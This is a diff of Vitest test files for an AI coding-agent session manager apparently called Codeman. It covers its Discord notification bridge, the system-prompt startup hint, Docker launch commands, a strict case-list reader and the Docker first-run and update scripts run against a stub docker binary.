const s = new WebServer(0, false, true, '127.0.0.1', 'box') as unknown as Internals & {
|
||||
discordBridge: { deps: { agentExited: (id: string) => boolean } };
|
||||
};
|
||||
s.sessions.set('dead', { paneExit: { observedAt: 1 } });
|
||||
s.sessions.set('alive', {});
|
||||
const { agentExited } = s.discordBridge.deps;
|
||||
expect(agentExited('dead')).toBe(true);
|
||||
expect(agentExited('alive')).toBe(false);
|
||||
expect(agentExited('missing')).toBe(false);
|
||||
});
|
||||
|
||||
it("types a reply as the person's own input, so it can name the tab", async () => {
|
||||
const s = new WebServer(0, false, true, '127.0.0.1', 'box') as unknown as Internals & {
|
||||
discordBridge: { deps: { sendInput: (id: string, text: string) => Promise<boolean> } };
|
||||
};
|
||||
const writeViaMux = vi.fn(async () => true);
|
||||
s.sessions.set('s1', { writeViaMux });
|
||||
expect(await s.discordBridge.deps.sendInput('s1', 'yes\r')).toBe(true);
|
||||
expect(writeViaMux).toHaveBeenCalledWith('yes\r', { fromUser: true });
|
||||
expect(await s.discordBridge.deps.sendInput('missing', 'yes\r')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('sendPushNotifications -> Discord', () => {
|
||||
it('posts a permission prompt with zero push subscriptions, with the rendered screen as the tail', async () => {
|
||||
const s = server();
|
||||
s.sessions.set('s1', { muxName: 'codeman-s1', textOutput: '', mode: 'claude' });
|
||||
const capture = vi.fn(() => 'Which option?\n──────────\n 1. Cap GPUs\n\n 2. Cap CPU\n');
|
||||
s.mux = { capturePaneText: capture };
|
||||
await s.sendPushNotifications('hook:permission_prompt', {
|
||||
sessionId: 's1',
|
||||
sessionName: 'w1-app',
|
||||
tool_name: 'Bash',
|
||||
});
|
||||
expect(s.discordBridge.notify).toHaveBeenCalledTimes(1);
|
||||
const msg = s.discordBridge.notify.mock.calls[0][0];
|
||||
expect(msg).toMatchObject({
|
||||
event: 'hook:permission_prompt',
|
||||
title: 'Permission Required',
|
||||
body: '[w1-app] Tool: Bash',
|
||||
urgency: 'critical',
|
||||
sessionId: 's1',
|
||||
sessionName: 'w1-app',
|
||||
});
|
||||
// A function, so the screen is read (a synchronous tmux exec) only once the bridge will post.
|
||||
expect(typeof msg.tail).toBe('function');
|
||||
expect(capture).not.toHaveBeenCalled();
|
||||
expect(msg.tail()).toBe('Which option?\n 1. Cap GPUs\n 2. Cap CPU');
|
||||
expect(capture).toHaveBeenCalledTimes(1);
|
||||
expect(sendNotification).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('reads the whole last message from the transcript on a finished turn, and keeps the screen for a dialog', async () => {
|
||||
const s = server();
|
||||
s.sessions.set('s5', { muxName: 'codeman-s5', textOutput: '', mode: 'claude' });
|
||||
const reader = vi.fn(async () => ({ text: 'The full answer.\n\n- one\n- two', timestamp: '2026-10-30T00:00:00Z' }));
|
||||
s.lastResponseFor = reader;
|
||||
s.mux = { capturePaneText: () => 'screen\n❯\n status' };
|
||||
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's5', sessionName: 'w5' });
|
||||
const idle = s.discordBridge.notify.mock.calls[0][0];
|
||||
expect(await idle.fullText()).toEqual({
|
||||
text: 'The full answer.\n\n- one\n- two',
|
||||
version: '2026-10-30T00:00:00Z',
|
||||
});
|
||||
expect(idle.tail()).toBe('screen'); // the composer row and the status under it are cut
|
||||
await s.sendPushNotifications('hook:permission_prompt', { sessionId: 's5', sessionName: 'w5' });
|
||||
const dialog = s.discordBridge.notify.mock.calls[1][0];
|
||||
expect(dialog.fullText).toBeUndefined();
|
||||
expect(dialog.tail()).toBe('screen\n❯\n status');
|
||||
});
|
||||
|
||||
it.each(['claude', 'codex', 'opencode', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek', 'omp', 'copilot'])(
|
||||
'a finished turn in a %s tab posts the whole last message',
|
||||
async (mode) => {
|
||||
const s = server();
|
||||
s.sessions.set('s6', { muxName: 'codeman-s6', textOutput: '', mode });
|
||||
s.lastResponseFor = vi.fn(async () => ({ text: '1. First?\n2. Second?\n3. Third?' }));
|
||||
s.mux = { capturePaneText: () => 'screen' };
|
||||
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's6', sessionName: 'w6' });
|
||||
const msg = s.discordBridge.notify.mock.calls[0][0];
|
||||
expect((await msg.fullText()).text).toBe('1. First?\n2. Second?\n3. Third?');
|
||||
}
|
||||
);
|
||||
|
||||
it('a shell tab has no turns, so it keeps the screen tail', async () => {
|
||||
const s = server();
|
||||
s.sessions.set('s7', { muxName: 'codeman-s7', textOutput: '', mode: 'shell' });
|
||||
s.lastResponseFor = vi.fn(async () => ({ text: 'x' }));
|
||||
s.mux = { capturePaneText: () => 'prompt$' };
|
||||
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's7', sessionName: 'w7' });
|
||||
const msg = s.discordBridge.notify.mock.calls[0][0];
|
||||
expect(await msg.fullText()).toBeUndefined();
|
||||
expect(msg.tail()).toBe('prompt$');
|
||||
});
|
||||
|
||||
it('falls back to plain text output when there is no tmux pane, and to no tail for an unknown session', async () => {
|
||||
const s = server();
|
||||
s.sessions.set('s2', { muxName: null, textOutput: 'plain answer\n', mode: 'claude' });
|
||||
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's2', sessionName: 'w2' });
|
||||
expect(s.discordBridge.notify.mock.calls[0][0].tail()).toBe('plain answer');
|
||||
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 'gone', sessionName: 'w3' });
|
||||
expect(s.discordBridge.notify.mock.calls[1][0].tail).toBeUndefined();
|
||||
});
|
||||
|
||||
it('sends nothing for an event Web Push does not carry', async () => {
|
||||
const s = server();
|
||||
await s.sendPushNotifications('session:created', { sessionId: 's1', sessionName: 'w1' });
|
||||
expect(s.discordBridge.notify).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('broadcast -> Discord tab lifecycle', () => {
|
||||
it('routes created, updated and deleted by kind, reading both payload shapes', () => {
|
||||
const s = server();
|
||||
s.broadcast(SseEvent.SessionCreated, { session: { id: 's1', name: 'w1', createdAt: 123 } });
|
||||
expect(s.discordBridge.sessionCreated).toHaveBeenCalledWith('s1', 'w1');
|
||||
s.broadcast(SseEvent.SessionUpdated, { id: 's1', name: 'renamed' });
|
||||
expect(s.discordBridge.sessionRenamed).toHaveBeenCalledWith('s1', 'renamed');
|
||||
});
|
||||
|
||||
it('does not touch the thread on session:deleted, which a detach also fires', () => {
|
||||
const s = server();
|
||||
s.broadcast(SseEvent.SessionDeleted, { id: 's1' });
|
||||
expect(s.discordBridge.sessionDeleted).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('tells the bridge about a real delete (killMux true) but not a detach (killMux false)', async () => {
|
||||
const s = server();
|
||||
await s.cleanupSession('gone', false);
|
||||
expect(s.discordBridge.sessionDeleted).not.toHaveBeenCalled();
|
||||
await s.cleanupSession('gone', true);
|
||||
expect(s.discordBridge.sessionDeleted).toHaveBeenCalledWith('gone');
|
||||
});
|
||||
|
||||
it('a discarded half-built session clears the per-tab state but keeps its thread', async () => {
|
||||
const s = server();
|
||||
s.sessions.set('rebuild', {
|
||||
owner: 'u',
|
||||
ralphTracker: { stopWatchingFixPlan: () => undefined, fullReset: () => undefined },
|
||||
removeAllListeners: () => undefined,
|
||||
stop: async () => undefined,
|
||||
});
|
||||
await s.discardPartiallyBuiltSession('rebuild');
|
||||
expect(s.discordBridge.forgetTab).toHaveBeenCalledWith('rebuild');
|
||||
expect(s.discordBridge.sessionDeleted).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('ignores an event with no session id', () => {
|
||||
const s = server();
|
||||
s.broadcast(SseEvent.SessionUpdated, {});
|
||||
expect(s.discordBridge.sessionRenamed).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('closes the bridge when the server stops', async () => {
|
||||
const s = server();
|
||||
await (s as unknown as { stop: () => Promise<void> }).stop();
|
||||
expect(s.discordBridge.stop).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,82 @@
|
||||
// @vitest-environment node
|
||||
/**
|
||||
* @fileoverview The Discord startup hint reaches Claude as `--append-system-prompt`, only while the
|
||||
* bridge and its `startupHint` setting are on, and never changes a launch that does not use it.
|
||||
*/
|
||||
import { mkdtempSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import { getCli } from '../src/config/cli-registry/registry.js';
|
||||
import { buildSpawnCommandFromRegistry } from '../src/session-cli-registry-bridge.js';
|
||||
import {
|
||||
DiscordBridge,
|
||||
DISCORD_STARTUP_HINT,
|
||||
getDiscordStartupHint,
|
||||
writeDiscordConfig,
|
||||
DEFAULT_DISCORD_CONFIG,
|
||||
} from '../src/discord-bridge.js';
|
||||
|
||||
const SID = '0f9c2b14-1111-2222-3333-444455556666';
|
||||
const BASE = 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"';
|
||||
|
||||
function launch(mode: 'claude' | 'codex'): string | undefined {
|
||||
return buildSpawnCommandFromRegistry(getCli(mode)!, { mode, sessionId: SID, claudeCliVersion: null });
|
||||
}
|
||||
|
||||
let dir: string;
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'discord-hint-'));
|
||||
});
|
||||
afterEach(() => rmSync(dir, { recursive: true, force: true }));
|
||||
|
||||
function bridge() {
|
||||
return new DiscordBridge({
|
||||
configDir: dir,
|
||||
fetchImpl: async () => new Response('{}'),
|
||||
sendInput: async () => true,
|
||||
socketFactory: () => ({ send() {}, close() {}, on() {} }),
|
||||
});
|
||||
}
|
||||
|
||||
describe('startup hint on the Claude launch', () => {
|
||||
it('is absent by default, so a launch is byte-identical to before', () => {
|
||||
expect(getDiscordStartupHint()).toBeUndefined();
|
||||
expect(launch('claude')).toBe(BASE);
|
||||
});
|
||||
|
||||
it('is appended, single-quoted, while the bridge is on', async () => {
|
||||
await writeDiscordConfig(dir, {
|
||||
...DEFAULT_DISCORD_CONFIG,
|
||||
enabled: true,
|
||||
token: 'tok',
|
||||
guildId: '111111111111111111',
|
||||
parentChannelId: '222222222222222222',
|
||||
allowedUserIds: ['333333333333333333'],
|
||||
});
|
||||
const b = bridge();
|
||||
await b.reload();
|
||||
expect(getDiscordStartupHint()).toBe(DISCORD_STARTUP_HINT);
|
||||
expect(launch('claude')).toBe(`${BASE} --append-system-prompt '${DISCORD_STARTUP_HINT}'`);
|
||||
expect(DISCORD_STARTUP_HINT).not.toContain("'");
|
||||
expect(launch('codex')).not.toContain('append-system-prompt');
|
||||
b.stop();
|
||||
expect(launch('claude')).toBe(BASE);
|
||||
});
|
||||
|
||||
it('is absent when startupHint is switched off', async () => {
|
||||
await writeDiscordConfig(dir, {
|
||||
...DEFAULT_DISCORD_CONFIG,
|
||||
enabled: true,
|
||||
token: 'tok',
|
||||
guildId: '111111111111111111',
|
||||
parentChannelId: '222222222222222222',
|
||||
allowedUserIds: ['333333333333333333'],
|
||||
startupHint: false,
|
||||
});
|
||||
const b = bridge();
|
||||
await b.reload();
|
||||
expect(launch('claude')).toBe(BASE);
|
||||
b.stop();
|
||||
});
|
||||
});
|
||||
@@ -218,8 +218,15 @@ describe('adopted container: the host is not required to have the CLI', () => {
|
||||
expect(src.match(/if \(mode === '[a-z]+' && !cliDir\)/g)).toBeNull();
|
||||
});
|
||||
|
||||
it('derives the flag from the docker metadata the session already carries', () => {
|
||||
expect(src).toContain('const cliRunsInContainer = !!docker;');
|
||||
it('derives the flag from the location metadata the session already carries', () => {
|
||||
// Adoption joined the condition for the same reason docker is in it: an
|
||||
// adopted session's CLI was started by a human in a process Codeman never
|
||||
// spawned, so the host binary is irrelevant there too, and demanding it
|
||||
// would reject adopting a claude that lives in a container, on an ssh host,
|
||||
// or simply outside the server process's PATH (the systemd/launchd case).
|
||||
// What the assertion still pins is that the flag comes from the session's
|
||||
// OWN metadata rather than from anything ambient.
|
||||
expect(src).toContain('const cliRunsInContainer = !!docker || !!adopt;');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -299,8 +306,8 @@ describe('adopted container: run modes come from the CONTAINER, not the host', (
|
||||
* exactly what happened twice: a comment added above the assertion pushed the
|
||||
* asserted line past the cutoff and CI failed on a test that was still true.
|
||||
*/
|
||||
const refreshFn = (src) => {
|
||||
const start = src.indexOf('_refreshRunModeAvailability(menu) {');
|
||||
const methodFn = (src, signature) => {
|
||||
const start = src.indexOf(signature);
|
||||
expect(start).toBeGreaterThan(-1);
|
||||
const open = src.indexOf('{', start);
|
||||
let depth = 0;
|
||||
@@ -308,23 +315,30 @@ describe('adopted container: run modes come from the CONTAINER, not the host', (
|
||||
if (src[i] === '{') depth++;
|
||||
else if (src[i] === '}' && --depth === 0) return src.slice(start, i + 1);
|
||||
}
|
||||
throw new Error('unbalanced braces in _refreshRunModeAvailability');
|
||||
throw new Error(`unbalanced braces in ${signature}`);
|
||||
};
|
||||
// The per-mode decision lives in ONE helper, shared by the Run menu and the
|
||||
// Cmd+K new-session row (panels-ui.js), so the two cannot drift apart.
|
||||
const ruleFn = (src) => methodFn(src, '_runModeAvailableForCase(mode, caseName) {');
|
||||
|
||||
it('gates a docker case on availableModes instead of host CLI probes', () => {
|
||||
// The sandbox host had codex but no claude while the adopted container had
|
||||
// claude and no codex; gating on the host hid the only mode that worked.
|
||||
const fn = refreshFn(ui);
|
||||
const fn = ruleFn(ui);
|
||||
expect(fn).toContain("location === 'docker'");
|
||||
expect(fn).toContain('availableModes');
|
||||
// Non-docker cases must keep the original host probe (#201).
|
||||
expect(fn).toContain('this.isCliAvailable(mode)');
|
||||
// And the Run menu asks that helper rather than keeping its own copy.
|
||||
expect(methodFn(ui, '_refreshRunModeAvailability(menu) {')).toContain(
|
||||
'this._runModeAvailableForCase(mode, caseName)'
|
||||
);
|
||||
});
|
||||
|
||||
it('leaves an owned container ungated when nothing was probed', () => {
|
||||
// Our base image ships every CLI, so an absent list means "unknown", and
|
||||
// treating unknown as "nothing available" would empty the menu.
|
||||
expect(refreshFn(ui)).toMatch(/containerModes \?[^:]*:\s*true/);
|
||||
expect(ruleFn(ui)).toMatch(/containerModes \?[^:]*:\s*true/);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -128,7 +128,7 @@ describe('docker server image divergence is declared, not accidental', () => {
|
||||
// untouched by this change because two other open PRs already modify it. Asserting the
|
||||
// omissions here makes the divergence reviewable without editing the file: if someone adds
|
||||
// a CLI there, or the intent changes, this fails and the list has to be restated.
|
||||
const SERVER_INTENTIONAL_OMISSIONS = new Set(['antigravity', 'pi', 'grok', 'deepseek', 'omp']);
|
||||
const SERVER_INTENTIONAL_OMISSIONS = new Set(['antigravity', 'pi', 'grok', 'deepseek', 'omp', 'copilot']);
|
||||
|
||||
it('installs exactly the CLIs it declares, and no more', () => {
|
||||
for (const entry of enabledAgents) {
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { readFileSync, mkdtempSync, rmSync, writeFileSync, mkdirSync } from 'node:fs';
|
||||
import { readFileSync, mkdtempSync, rmSync, writeFileSync, mkdirSync, chownSync } from 'node:fs';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
@@ -309,6 +309,21 @@ describe('Update-Codeman.sh (the scripted major-update path — docker/README.md
|
||||
const casesPath = join(dir, 'cases');
|
||||
const socketPath = join(dir, 'docker.sock'); // deliberately NOT a real socket — see above
|
||||
mkdirSync(appdataPath);
|
||||
// Both scripts derive PUID:PGID from the appdata owner and REFUSE a
|
||||
// root-owned one (correctly: the container must never run as root).
|
||||
// mkdirSync gives it the runner's uid, so under a root runner (a CI or
|
||||
// agent container) the update path stopped at that guard before its
|
||||
// build. Give it the non-root owner docker/README.md's own
|
||||
// `chown -R 99:100` example sets up, as a real deployment would have.
|
||||
if (process.getuid?.() === 0) {
|
||||
try {
|
||||
chownSync(appdataPath, 99, 100);
|
||||
} catch {
|
||||
// No CAP_CHOWN (root with --cap-drop ALL, as Codeman's own Docker
|
||||
// case containers run) or a single-uid user namespace: leave it
|
||||
// root-owned and let the scripts' own guard refuse, as before.
|
||||
}
|
||||
}
|
||||
mkdirSync(casesPath);
|
||||
writeFileSync(socketPath, '');
|
||||
|
||||
|
||||
@@ -106,6 +106,16 @@ describe('buildDockerLaunchCommand', () => {
|
||||
expect(cmd).toContain('tmux -L codeman-docker setenv -g CODEMAN_SESSION_ID');
|
||||
expect(cmd).toContain('new-session -A -s codeman-dkr-1a2b3c4d');
|
||||
expect(cmd).toContain("sh -lc '");
|
||||
// The in-container tmux keeps prefix C-q. Without this reduction its stock
|
||||
// prefix table runs switch-client / choose-tree for the inner client.
|
||||
// Bind, unbind-all, bind again: an empty prefix table makes unbind-key -a
|
||||
// fail and abort the rest of the \; chain.
|
||||
const firstBind = cmd.indexOf('bind-key -T prefix C-q send-prefix');
|
||||
const unbind = cmd.indexOf('unbind-key -a -T prefix');
|
||||
const secondBind = cmd.indexOf('bind-key -T prefix C-q send-prefix', unbind);
|
||||
expect(firstBind).toBeGreaterThan(cmd.indexOf('prefix C-q'));
|
||||
expect(unbind).toBeGreaterThan(firstBind);
|
||||
expect(secondBind).toBeGreaterThan(unbind);
|
||||
});
|
||||
|
||||
it('pins a deterministic conversation id with a reboot-surviving fallback (fresh launch)', () => {
|
||||
|
||||
@@ -28,6 +28,7 @@ import {
|
||||
persistDockerCaseClaudeSessionId,
|
||||
probeDockerCliVersion,
|
||||
readDockerCases,
|
||||
readDockerCasesOrThrow,
|
||||
readDockerHosts,
|
||||
resolveClaudeJsonSeedMount,
|
||||
resolveDockerClaudeArtifacts,
|
||||
@@ -70,6 +71,28 @@ describe('docker-hosts storage', () => {
|
||||
expect(await readDockerCases(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
/**
|
||||
* The git fetch paths read the list through the strict reader: the writer truncates and rewrites the file in
|
||||
* place, and a list read as `[]` there would let a fetch run git inside a Docker workspace.
|
||||
*/
|
||||
it('has a strict reader that rejects a list it cannot parse, where the plain reader returns []', async () => {
|
||||
expect(await readDockerCasesOrThrow(dir)).toEqual([]); // missing: no cases
|
||||
await writeDockerCases(dir, [CASE]);
|
||||
expect(await readDockerCasesOrThrow(dir)).toEqual([CASE]);
|
||||
const path = join(dir, 'docker-cases.json');
|
||||
for (const text of ['', '[{"name":"myproj","hostWorkspacePath":"/home/arkon/cas', '{"name":"myproj"}', 'null']) {
|
||||
writeFileSync(path, text);
|
||||
expect(await readDockerCases(dir)).toEqual([]);
|
||||
const err = await readDockerCasesOrThrow(dir).then(
|
||||
() => null,
|
||||
(e: Error) => e
|
||||
);
|
||||
expect(err?.message).toMatch(/not a valid JSON array/);
|
||||
// The parser's message quotes the file; the strict reader's never does.
|
||||
expect(err?.message).not.toContain('/home/arkon/cas');
|
||||
}
|
||||
});
|
||||
|
||||
it('persists the last Claude conversation id keyed by container name', async () => {
|
||||
await writeDockerCases(dir, [CASE, { ...CASE, name: 'other', container: 'custom-name' }]);
|
||||
await persistDockerCaseClaudeSessionId(dir, dockerContainerName(CASE.name), 'conv-1');
|
||||
|
||||
@@ -0,0 +1,641 @@
|
||||
/**
|
||||
* @fileoverview The Docker Compose deployment's first-run path: what
|
||||
* `docker/Start-Codeman.sh` does on a machine that has never run it.
|
||||
*
|
||||
* 1. Preflight: a missing `docker`, a missing or too-old Compose plugin and an
|
||||
* unreachable daemon each stop the script with the fix named, before any
|
||||
* question is asked or any file is written. The permission case points at
|
||||
* the docker group, never at sudo (a root run cannot do the first-run setup).
|
||||
* 2. Setup: with no `docker/.env`, the script writes one generated FROM
|
||||
* `.env.example`, so every key the example sets is present. That is the
|
||||
* exact check the in-app updater runs (`diffRequiredEnvKeys`), and a
|
||||
* generated file missing a key would block the user's next update. The file
|
||||
* is 0600, the generated password is alphanumeric (Compose's dotenv
|
||||
* interpolates `$` and treats ` #` as a comment) and shown only on a
|
||||
* terminal, and a data folder that would collide with a native install's
|
||||
* `~/.codeman`, `$HOME` itself or the image build context is refused.
|
||||
* 3. An existing `docker/.env` is never rewritten: the update path
|
||||
* (Update-Codeman.sh hands off to this script) must stay byte-for-byte.
|
||||
* 4. A `.env` still carrying the example password `changeme` is refused before
|
||||
* anything is built or started.
|
||||
*
|
||||
* Runs the REAL script against a stub `docker` on PATH with stdin not a TTY,
|
||||
* which is also the "no terminal attached, take the defaults" path. The tests
|
||||
* of the questions themselves run on a real pty.
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { createServer, type Server } from 'node:net';
|
||||
import {
|
||||
readFileSync,
|
||||
mkdtempSync,
|
||||
rmSync,
|
||||
writeFileSync,
|
||||
mkdirSync,
|
||||
statSync,
|
||||
lstatSync,
|
||||
existsSync,
|
||||
symlinkSync,
|
||||
readdirSync,
|
||||
} from 'node:fs';
|
||||
import { execFileSync, spawnSync } from 'node:child_process';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { diffRequiredEnvKeys, parseEnvKeys } from '../src/web/self-update.js';
|
||||
|
||||
const ROOT = process.cwd();
|
||||
const startScript = readFileSync(join(ROOT, 'docker/Start-Codeman.sh'), 'utf-8');
|
||||
const updateScript = readFileSync(join(ROOT, 'docker/Update-Codeman.sh'), 'utf-8');
|
||||
const example = readFileSync(join(ROOT, 'docker/.env.example'), 'utf-8');
|
||||
const compose = readFileSync(join(ROOT, 'docker/docker-compose.yaml'), 'utf-8');
|
||||
/** Absolute, so a run whose PATH deliberately lacks most tools can still start bash. */
|
||||
const BASH = execFileSync('bash', ['-c', 'command -v bash'], { encoding: 'utf-8' }).trim();
|
||||
|
||||
/** The run on a real terminal needs util-linux `script`; BSD's takes different arguments. */
|
||||
const HAS_PTY = process.platform === 'linux' && spawnSync('script', ['--version']).status === 0;
|
||||
|
||||
/** The values the first run fills in; every other line must be the example's. */
|
||||
const REWRITTEN_KEYS = ['TZ', 'CODEMAN_APPDATA_PATH', 'CODEMAN_CASES_PATH', 'CODEMAN_PORT', 'CODEMAN_PASSWORD'];
|
||||
|
||||
/**
|
||||
* A stub `docker` that logs every invocation and answers the calls the script
|
||||
* makes. `compose ... config --environment` sources the env file and prints the
|
||||
* keys the script reads, with the shell environment beating the file as it does
|
||||
* in Compose. Bash reads a single-quoted value the way Compose's dotenv does
|
||||
* except for a backslash before the closing quote: see `composeReads`.
|
||||
*/
|
||||
const STUB = [
|
||||
'#!/usr/bin/env bash',
|
||||
'echo "docker $*" >> "$CMDLOG"',
|
||||
// Docker CLI 24 to 27 answer `info --format` with exit 0 and the error on
|
||||
// stderr when the daemon is unreachable (measured on 27.5.1); `version --format`
|
||||
// exits 1 on every release.
|
||||
'if [[ "$1" == "info" ]]; then',
|
||||
' if [[ -n "${STUB_DAEMON_ERR:-}" ]]; then echo "$STUB_DAEMON_ERR" >&2; exit 0; fi',
|
||||
' echo 27.0.0; exit 0',
|
||||
'fi',
|
||||
'if [[ "$1" == "version" ]]; then',
|
||||
' if [[ -n "${STUB_DAEMON_ERR:-}" ]]; then echo "$STUB_DAEMON_ERR" >&2; exit 1; fi',
|
||||
' echo 27.0.0; exit 0',
|
||||
'fi',
|
||||
'if [[ "$1" == "compose" ]]; then',
|
||||
' if [[ -n "${STUB_NO_COMPOSE:-}" ]]; then echo "docker: unknown command: docker compose" >&2; exit 1; fi',
|
||||
' if [[ "$2" == "version" ]]; then',
|
||||
' if [[ "${3:-}" == "--short" ]]; then echo "${STUB_COMPOSE_VERSION:-2.30.0}"; else echo "Docker Compose version v${STUB_COMPOSE_VERSION:-2.30.0}"; fi',
|
||||
' exit 0',
|
||||
' fi',
|
||||
' prev=""; envfile=""',
|
||||
' for a in "$@"; do',
|
||||
' if [[ "$prev" == "--env-file" ]]; then envfile="$a"; fi',
|
||||
' prev="$a"',
|
||||
' done',
|
||||
' if [[ " $* " == *" config "* && " $* " == *" --environment "* ]]; then',
|
||||
' keys="CODEMAN_APPDATA_PATH CODEMAN_CASES_PATH DOCKER_SOCKET CODEMAN_PORT CODEMAN_USERNAME CODEMAN_PASSWORD"',
|
||||
' for k in $keys; do if [[ -n "${!k+x}" ]]; then printf -v "shell_$k" %s "${!k}"; fi; done',
|
||||
' set -a; source "$envfile"; set +a',
|
||||
' DOCKER_SOCKET="${STUB_DOCKER_SOCKET:-$DOCKER_SOCKET}"',
|
||||
' for k in $keys; do',
|
||||
' shell="shell_$k"',
|
||||
' printf "%s=%s\\n" "$k" "${!shell-${!k}}"',
|
||||
' done',
|
||||
' exit 0',
|
||||
' fi',
|
||||
' if [[ " $* " == *" config "* && " $* " == *" --format json "* ]]; then printf \'{\\n "name": "codeman"\\n}\\n\'; exit 0; fi',
|
||||
' if [[ " $* " == *" up "* && -n "${STUB_UP_FAIL:-}" ]]; then echo "network error pulling a layer" >&2; exit 1; fi',
|
||||
' if [[ " $* " == *" ps -q codeman "* ]]; then echo cid123; exit 0; fi',
|
||||
' if [[ " $* " == *" port codeman "* ]]; then echo "0.0.0.0:${@: -1}"; exit 0; fi',
|
||||
' if [[ " $* " == *" logs "* ]]; then echo "FAKE-LOG: server crashed"; exit 0; fi',
|
||||
' exit 0',
|
||||
'fi',
|
||||
'if [[ "$1" == "inspect" ]]; then echo "${STUB_STATE:-running|healthy|0}"; exit 0; fi',
|
||||
'if [[ "$1" == "exec" ]]; then exit 1; fi',
|
||||
'exit 0',
|
||||
].join('\n');
|
||||
|
||||
interface Run {
|
||||
status: number;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
log: string[];
|
||||
env: string | null;
|
||||
envMode: number | null;
|
||||
home: string;
|
||||
dir: string;
|
||||
/** What was in HOME when the run ended; the sandbox is gone by the time a test reads this. */
|
||||
homeEntries: string[];
|
||||
/** What `docker/.env` is when the run ended, without following a symlink. */
|
||||
envKind: 'file' | 'directory' | 'symlink' | null;
|
||||
/** What a `docker/.env` that is a directory holds. */
|
||||
envDirEntries: string[];
|
||||
}
|
||||
|
||||
/**
|
||||
* Lays out `<dir>/repo/docker/{Start-Codeman.sh,.env.example,docker-compose.yaml}`
|
||||
* plus a stub `docker`, runs the script with a temp HOME and stdin closed (not a
|
||||
* TTY), and returns what happened. `existingEnv` seeds `docker/.env` first.
|
||||
*/
|
||||
function runStart(
|
||||
args: string[],
|
||||
opts: {
|
||||
env?: Record<string, string>;
|
||||
existingEnv?: string;
|
||||
/** Makes `docker/.env` something other than a regular file. */
|
||||
envShape?: 'directory' | 'dangling-symlink' | 'symlink-to-file';
|
||||
noDocker?: boolean;
|
||||
/** A real Unix socket to use as DOCKER_SOCKET (the start path checks `-S`). */
|
||||
socket?: string;
|
||||
/** Run Update-Codeman.sh (which hands off to Start-Codeman.sh) instead. */
|
||||
update?: boolean;
|
||||
/** CODEMAN_APPDATA_PATH preset, built from the sandbox's own paths. */
|
||||
appdata?: (p: { home: string; repo: string }) => string;
|
||||
/**
|
||||
* Keystrokes for a run on a REAL terminal (a pty from util-linux `script`,
|
||||
* so Linux only), which is the only way to reach the questions: the script
|
||||
* reads stdin only when `-t 0` holds.
|
||||
*/
|
||||
terminal?: string;
|
||||
} = {}
|
||||
): Run {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'codeman-start-setup-'));
|
||||
try {
|
||||
const home = join(dir, 'home');
|
||||
const dockerDir = join(dir, 'repo', 'docker');
|
||||
mkdirSync(home);
|
||||
mkdirSync(dockerDir, { recursive: true });
|
||||
writeFileSync(join(dockerDir, 'Start-Codeman.sh'), startScript);
|
||||
writeFileSync(join(dockerDir, 'Update-Codeman.sh'), updateScript);
|
||||
writeFileSync(join(dockerDir, '.env.example'), example);
|
||||
writeFileSync(join(dockerDir, 'docker-compose.yaml'), compose);
|
||||
// Hashed by the start path for the updater's fingerprint baseline.
|
||||
writeFileSync(join(dockerDir, 'server.Dockerfile'), readFileSync(join(ROOT, 'docker/server.Dockerfile')));
|
||||
if (opts.existingEnv !== undefined) writeFileSync(join(dockerDir, '.env'), opts.existingEnv);
|
||||
if (opts.envShape === 'directory') mkdirSync(join(dockerDir, '.env'));
|
||||
if (opts.envShape === 'dangling-symlink') symlinkSync(join(dir, 'no-such-file'), join(dockerDir, '.env'));
|
||||
if (opts.envShape === 'symlink-to-file') {
|
||||
writeFileSync(join(dir, 'real.env'), 'CODEMAN_PASSWORD=mine-and-only-mine\n');
|
||||
symlinkSync(join(dir, 'real.env'), join(dockerDir, '.env'));
|
||||
}
|
||||
|
||||
const binDir = join(dir, 'bin');
|
||||
mkdirSync(binDir);
|
||||
let path: string;
|
||||
if (opts.noDocker) {
|
||||
// Only what the script runs before its `command -v docker` check, so the
|
||||
// host's own docker (if any) cannot be found.
|
||||
symlinkSync(
|
||||
execFileSync('bash', ['-c', 'command -v dirname'], { encoding: 'utf-8' }).trim(),
|
||||
join(binDir, 'dirname')
|
||||
);
|
||||
path = binDir;
|
||||
} else {
|
||||
const stubPath = join(binDir, 'docker');
|
||||
writeFileSync(stubPath, STUB);
|
||||
execFileSync('bash', ['-c', `chmod +x '${stubPath}'`]);
|
||||
path = `${binDir}:${process.env.PATH}`;
|
||||
}
|
||||
|
||||
const logPath = join(dir, 'cmdlog.txt');
|
||||
writeFileSync(logPath, '');
|
||||
const env: Record<string, string> = { ...process.env, HOME: home, PATH: path, CMDLOG: logPath } as Record<
|
||||
string,
|
||||
string
|
||||
>;
|
||||
// A developer shell exporting any of these would change the defaults under test.
|
||||
